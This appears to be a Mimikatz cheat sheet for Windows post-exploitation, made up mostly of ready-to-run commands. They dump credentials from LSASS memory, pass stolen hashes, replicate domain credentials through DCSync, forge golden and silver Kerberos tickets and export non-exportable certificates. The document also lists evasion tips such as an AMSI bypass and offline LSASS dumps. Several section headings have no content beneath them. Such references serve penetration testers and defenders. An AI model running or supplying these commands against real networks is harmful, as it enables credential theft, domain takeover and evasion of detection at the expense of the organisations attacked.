Mimikatz Cheatsheet

Mimikatz is a Windows post-exploitation tool developed by Benjamin Delpy that extracts credentials, hashes, PINs, and Kerberos tickets from memory. It is one of the most widely used tools for credential theft and lateral movement in Windows environments.

Key Capabilities

• Credential Extraction: Dump plaintext passwords, hashes, and Kerberos tickets from LSASS memory
• Pass-the-Hash/Pass-the-Ticket: Use extracted credentials for lateral movement
• DPAPI Attacks: Decrypt Windows Data Protection API protected secrets
• Golden/Silver Tickets: Forge Kerberos tickets for persistence
• DCSync: Replicate credentials from Domain Controllers

Download from: https://github.com/gentilkiwi/mimikatz/releases

For evasion, consider Invoke-Mimikatz (PowerShell) or pypykatz (Python, cross-platform).

Basic Syntax

mimikatz.exe "command1" "command2" "exit"

Always start with:

privilege::debug

Quick Reference Commands

Modules Overview

sekurlsa Module

Pass-the-Hash

sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:cmd.exe

Pass-the-Hash (with RC4)

sekurlsa::pth /user:<user> /rc4:<hash> /domain:<domain> /run:cmd.exe

Pass the Key / OverPass the Hash (with AES256)

sekurlsa::pth /user:<user> /domain:<domain> /aes256:<aes256_hash> /run:cmd.exe

sekurlsa::ekeys extracts AES256, AES128, and RC4 keys for Kerberos authentication. Useful for Pass the Key / OverPass the Hash attacks — converts a Kerberos key into a full TGT; the spawned process can then request service tickets for lateral movement.

crypto Module (Certificates)

Used for certificate operations related to Pass-the-Certificate attacks and AD CS abuse.

Export User Certificates

crypto::certificates /export

Export Machine Certificates

crypto::certificates /systemstore:local_machine /export

Make Keys Exportable (Patch CryptoAPI)

crypto::capi
crypto::cng

Run before exporting certificates that are marked as non-exportable.

lsadump Module

DCSync Attack

lsadump::dcsync /domain:domain.local /user:Administrator
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Requires Domain Admin or specific replication rights.

Offline SAM Dump

lsadump::sam /sam:sam.hive /system:system.hive

Offline LSA Secrets

lsadump::secrets /system:system.hive /security:security.hive

Kerberos Attacks

Golden Ticket

kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_sid> /krbtgt:<krbtgt_hash> /ptt

Silver Ticket

kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_sid> /target:<server> /service:<svc> /rc4:<svc_hash> /ptt

Ticket Operations

DPAPI & Vault

One-Liners

Full Credential Dump

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Dump SAM

mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

DCSync krbtgt

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:domain.local /user:krbtgt" "exit"

Pass-the-Hash

mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit

Export All Kerberos Tickets

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

Golden Ticket Attack

mimikatz.exe "privilege::debug" "kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<hash> /ptt" "exit"

Export All Certificates

mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /export" "exit"

Export Machine Certificates

mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /export" "exit"

Common Errors

Detection and Evasion

Common Detection Points

• LSASS memory access (Sysmon Event ID 10)
• Suspicious process creation
• Event ID 4624 (logon) with unusual patterns

Evasion Techniques

• Dump LSASS with procdump -ma lsass.exe lsass.dmp and analyze offline
• Use pypykatz for cross-platform offline analysis
• Use PowerShell Invoke-Mimikatz with AMSI bypass
• Obfuscate or recompile from source

procdump.exe -ma lsass.exe lsass.dmp

pypykatz lsa minidump lsass.dmp

Related Tools